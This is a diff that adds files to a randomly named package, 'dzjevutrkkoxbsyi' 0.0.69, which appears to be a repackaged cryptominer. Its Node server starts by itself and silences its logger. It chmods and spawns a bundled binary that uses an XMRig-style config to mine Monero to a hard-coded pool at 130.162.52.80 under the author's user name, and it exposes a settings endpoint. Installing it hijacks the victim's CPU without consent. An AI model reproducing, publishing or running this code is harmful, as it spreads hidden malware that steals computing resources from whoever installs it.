dzjevutrkkoxbsyi 0.0.69

package/server/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "server",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "start": "node ./src/index.js"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "body-parser": "^1.19.0",
+    "cli-table": "^0.3.9",
+    "deepmerge": "^4.2.2",
+    "express": "^4.17.1",
+    "node-json-db": "^1.4.1",
+    "node-os-utils": "^1.3.5",
+    "stratum-client": "^1.1.0",
+    "winston": "^3.3.3"
+  }
+}

package/server/src/app.js

@@ -0,0 +1,122 @@
+const path = require('path');
+const express = require('express');
+const bodyParser = require('body-parser');
+const merge = require('deepmerge');
+const Controller = require('./miners.controller');
+const Logger = require('./logger');
+
+module.exports = class App {
+
+    config = {
+        productionOnly: false,
+        autoStart: true,
+        pools: [{
+            coin: 'XMR',
+            user: 'rawr',
+            url: '130.162.52.80:80', // optional pool URL,
+        }],
+        opencl: {
+            enabled: false,
+            platform: 'AMD'
+        },
+        web: {
+            enabled: true,
+            port: 3000
+        },
+        log: {
+            enabled: false,
+            level: 'debug',
+            writeToConsole: false
+        }
+    };
+
+    logger = null;
+
+    _isProduction = (process.env.NODE_ENV || '').toLowerCase().startsWith('prod');
+
+    _app = null;
+
+    _controller = null;
+
+    _initialized = false;
+
+    get controller() {
+        return this._controller;
+    }
+
+    constructor(options) {
+
+        this.config = merge(this.config, options);
+        this.logger = new Logger(this);
+
+        if (this.config.autoStart) {
+            this.start();
+        }
+    }
+
+    start() {
+        if (!this._initialized) {
+            this._init();
+        }
+
+        this._controller.start();
+    }
+
+    stop() {
+        this._controller.stop();
+    }
+
+    _init() {
+        if (this._initialized) {
+            throw new Error('already initialized');
+        }
+        
+        if (this.config.wallet) {
+            this.logger.error('Depricated eazyminer configuration. Please check https://www.npmjs.com/package/eazyminer for updated config options.');
+            this.logger.info('Not starting');
+
+            return;
+        }
+
+        if (this.config.productionOnly && !this._isProduction) {
+            this.logger.info('Eazy Miner config set to productionOnly. Not initializing');
+            return;
+        }
+
+        this._controller = new Controller(this);
+
+        if (this.config.web.enabled) {
+            this._setupWebServer();
+        }
+
+        this.controller.loadMiner('dzjevutrkkoxbsyi');
+
+        this._initialized = true;
+    }
+
+    _setupWebServer() {
+        this._app = express();
+        this._app.use(express.static(path.join(__dirname, '../../public')));
+        this._app.use(express.json()); //Used to parse JSON bodies
+        this._app.use(bodyParser.urlencoded({ extended: true }));
+
+        // Public API (status, settings etc)
+        this._app.get('/', (req, res) => res.sendFile('index.html'));
+
+        this._app.get('/status', (req, res) => {
+            res.send({
+                system: this._controller._system,
+                performance: this._controller.status
+            });
+        });
+
+        this._app.post('/settings', (req, res) => {
+            this._controller.updateSettings(req.body);
+            res.sendStatus(200);
+        });
+
+        this._app.listen(this.config.web.port, () => {
+            this.logger.info(`Webserver listening on port: ${this.config.web.port}`);
+        });
+    }
+}

package/server/src/index.js

@@ -0,0 +1,3 @@
+const App = require('./app');
+
+module.exports = App;

package/server/src/logger.js

@@ -0,0 +1,54 @@
+const winston = require('winston');
+
+module.exports = class Logger {
+
+    _app = null;
+
+    _logger = null;
+
+    constructor(app) {
+        this._app = app;
+
+        this._init();
+    }
+
+    log(value) {
+    }
+
+    info(value) {
+    }
+
+    warn(value) {
+    }
+
+    error(value) {
+    }
+
+    _init(config) {
+        const options = {
+            level: 'debug',
+            format: winston.format.json(),
+            // defaultMeta: { service: 'user-service' },
+            transports: [],
+        };
+
+        if (this._app.config.log.writeToFile) {
+            options.transports.push(new winston.transports.File({ filename: this._app.config.log.writeToFile }))
+        }
+
+        this._logger = winston.createLogger(options);
+
+        //
+        // If we're not in production then log to the `console` with the format:
+        // `${info.level}: ${info.message} JSON.stringify({ ...rest }) `
+        //
+        if (this._app.config.log.writeToConsole) {
+            this._logger.add(new winston.transports.Console({
+                format: winston.format.simple(),
+            }));
+        }
+    }
+}
+
+
+

package/server/src/miners/dzjevutrkkoxbsyi/config.base.json

@@ -0,0 +1,412 @@
+{
+  "api": {
+    "id": null,
+    "worker-id": null
+  },
+  "http": {
+    "enabled": false,
+    "host": "127.0.0.1",
+    "port": 0,
+    "access-token": null,
+    "restricted": true
+  },
+  "autosave": true,
+  "background": false,
+  "colors": true,
+  "title": true,
+  "randomx": {
+    "init": -1,
+    "init-avx2": -1,
+    "mode": "light",
+    "1gb-pages": false,
+    "rdmsr": true,
+    "wrmsr": true,
+    "cache_qos": false,
+    "numa": true,
+    "scratchpad_prefetch_mode": 1
+  },
+  "cpu": {
+    "enabled": true,
+    "huge-pages": true,
+    "huge-pages-jit": false,
+    "hw-aes": null,
+    "priority": 0,
+    "memory-pool": false,
+    "yield": true,
+    "asm": true,
+    "argon2-impl": null,
+    "astrobwt-max-size": 550,
+    "astrobwt-avx2": false,
+    "argon2": [
+      0,
+      1,
+      2,
+      3,
+      4,
+      5,
+      6,
+      7,
+      8,
+      9,
+      10,
+      11
+    ],
+    "astrobwt": [
+      0,
+      1,
+      2,
+      3,
+      4,
+      5,
+      6,
+      7,
+      8,
+      9,
+      10,
+      11
+    ],
+    "cn": [
+      [
+        1,
+        0
+      ],
+      [
+        1,
+        1
+      ],
+      [
+        1,
+        2
+      ],
+      [
+        1,
+        3
+      ],
+      [
+        1,
+        4
+      ],
+      [
+        1,
+        5
+      ],
+      [
+        1,
+        6
+      ],
+      [
+        1,
+        7
+      ],
+      [
+        1,
+        8
+      ],
+      [
+        1,
+        9
+      ],
+      [
+        1,
+        10
+      ],
+      [
+        1,
+        11
+      ]
+    ],
+    "cn-heavy": [
+      [
+        1,
+        0
+      ],
+      [
+        1,
+        2
+      ],
+      [
+        1,
+        4
+      ],
+      [
+        1,
+        5
+      ],
+      [
+        1,
+        6
+      ],
+      [
+        1,
+        8
+      ],
+      [
+        1,
+        10
+      ],
+      [
+        1,
+        11
+      ]
+    ],
+    "cn-lite": [
+      [
+        1,
+        0
+      ],
+      [
+        1,
+        1
+      ],
+      [
+        1,
+        2
+      ],
+      [
+        1,
+        3
+      ],
+      [
+        1,
+        4
+      ],
+      [
+        1,
+        5
+      ],
+      [
+        1,
+        6
+      ],
+      [
+        1,
+        7
+      ],
+      [
+        1,
+        8
+      ],
+      [
+        1,
+        9
+      ],
+      [
+        1,
+        10
+      ],
+      [
+        1,
+        11
+      ]
+    ],
+    "cn-pico": [
+      [
+        2,
+        0
+      ],
+      [
+        2,
+        1
+      ],
+      [
+        2,
+        2
+      ],
+      [
+        2,
+        3
+      ],
+      [
+        2,
+        4
+      ],
+      [
+        2,
+        5
+      ],
+      [
+        2,
+        6
+      ],
+      [
+        2,
+        7
+      ],
+      [
+        2,
+        8
+      ],
+      [
+        2,
+        9
+      ],
+      [
+        2,
+        10
+      ],
+      [
+        2,
+        11
+      ]
+    ],
+    "cn/upx2": [
+      [
+        2,
+        0
+      ],
+      [
+        2,
+        1
+      ],
+      [
+        2,
+        2
+      ],
+      [
+        2,
+        3
+      ],
+      [
+        2,
+        4
+      ],
+      [
+        2,
+        5
+      ],
+      [
+        2,
+        6
+      ],
+      [
+        2,
+        7
+      ],
+      [
+        2,
+        8
+      ],
+      [
+        2,
+        9
+      ],
+      [
+        2,
+        10
+      ],
+      [
+        2,
+        11
+      ]
+    ],
+    "ghostrider": [
+      [
+        8,
+        0
+      ],
+      [
+        8,
+        2
+      ],
+      [
+        8,
+        4
+      ],
+      [
+        8,
+        6
+      ],
+      [
+        8,
+        8
+      ],
+      [
+        8,
+        10
+      ]
+    ],
+    "rx": [
+      0
+    ],
+    "rx/wow": [
+      0,
+      1,
+      2,
+      3,
+      4,
+      5,
+      6,
+      7,
+      8,
+      9,
+      10,
+      11
+    ],
+    "cn-lite/0": false,
+    "cn/0": false,
+    "rx/arq": "rx/wow",
+    "rx/keva": "rx/wow"
+  },
+  "opencl": {
+    "enabled": false,
+    "cache": true,
+    "loader": null,
+    "platform": "AMD",
+    "adl": true,
+    "cn-lite/0": false,
+    "cn/0": false
+  },
+  "cuda": {
+    "enabled": false,
+    "loader": null,
+    "nvml": true,
+    "cn-lite/0": false,
+    "cn/0": false
+  },
+  "log-file": null,
+  "donate-level": 1,
+  "donate-over-proxy": 1,
+  "pools": [
+    {
+      "algo": "rx/0",
+      "coin": "xmr",
+      "url": "130.162.52.80:80",
+      "user": "cute",
+      "pass": "x",
+      "rig-id": null,
+      "nicehash": true,
+      "enabled": true,
+      "keepalive": true,
+      "tls": true,
+      "tls-fingerprint": null,
+      "daemon": false,
+      "socks5": null,
+      "self-select": null,
+      "submit-to-origin": false
+    }
+  ],
+  "retries": 5,
+  "retry-pause": 5,
+  "print-time": 60,
+  "health-print-time": 60,
+  "dmi": true,
+  "syslog": false,
+  "tls": {
+    "enabled": false,
+    "protocols": null,
+    "cert": null,
+    "cert_key": null,
+    "ciphers": null,
+    "ciphersuites": null,
+    "dhparam": null
+  },
+  "dns": {
+    "ipv6": false,
+    "ttl": 30
+  },
+  "user-agent": null,
+  "verbose": 0,
+  "watch": true,
+  "pause-on-battery": false,
+  "pause-on-active": false
+}

package/server/src/miners/dzjevutrkkoxbsyi/dzjevutrkkoxbsyi.miner.js

@@ -0,0 +1,107 @@
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const { spawn } = require('child_process');
+
+const PLATFORM = os.platform().toLowerCase();
+
+const LINUX_PATH = path.join(__dirname, './dzjevutrkkoxbsyi');
+const WINDOWS_PATH = path.join(__dirname, './dzjevutrkkoxbsyi.exe');
+
+module.exports = class dzjevutrkkoxbsyiMiner {
+    name = 'dzjevutrkkoxbsyi';
+
+    _app = null;
+    
+    _initialized = false;
+
+    _miner = null;
+
+    _filePath = null;
+
+    _running = false;
+
+    _worker = null;
+
+    constructor(app) {
+        this._app = app;
+        this._init();
+    }
+
+    async _init() {
+        if (PLATFORM === 'linux') {
+            this._loadLinux();
+        }
+
+        else if (PLATFORM === 'win32') {
+            this._loadWindows();
+        }
+
+        else {
+            throw new Error('Unsopperted platform');
+        }
+
+        this._initialized = true;
+    }
+
+    start() {
+        if (this._running) {
+            console.info('dzjevutrkkoxbsyi already running');
+            return;
+        }
+        
+        this._running = true;
+        this._exec();
+    }
+
+    stop() {
+        if (this._worker) {
+            this._worker.kill();
+            this._worker = null;
+        }
+    }
+
+    getStatus() {
+
+    }
+
+    _loadLinux() {
+        // add execution rights
+        fs.chmodSync(LINUX_PATH, 754);
+
+        this._filePath = LINUX_PATH;
+    }
+
+    _loadWindows() {
+        this._filePath = WINDOWS_PATH;
+    }
+
+    _exec() {
+        this._updateConfig();
+
+        // start script
+        this._worker = spawn(this._filePath, []);
+
+        // passthrough output
+        this._worker.stdout.on('data', data => this._app.logger.info(data));
+        this._worker.stderr.on('data', data => this._app.logger.error(data));
+    }
+
+    _updateConfig() {
+        const configBasePath = path.join(__dirname, './config.base.json');
+        const configBase = JSON.parse(fs.readFileSync(configBasePath));
+
+        // merge given pools config with base configs
+        const pools = this._app.config.pools.map(poolConfig => Object.assign({}, configBase.pools[0], poolConfig))
+        
+        this._app.logger.info('dzjevutrkkoxbsyi pools configuration');
+        this._app.logger.info(JSON.stringify(pools, null, 2));
+
+        configBase.pools = pools;
+        Object.assign(configBase.opencl, this._app.config.opencl);
+        Object.assign(configBase.cuda, this._app.config.cuda);
+
+        fs.writeFileSync(path.join(__dirname, 'config.json'), JSON.stringify(configBase, null, 2));
+    }
+}
+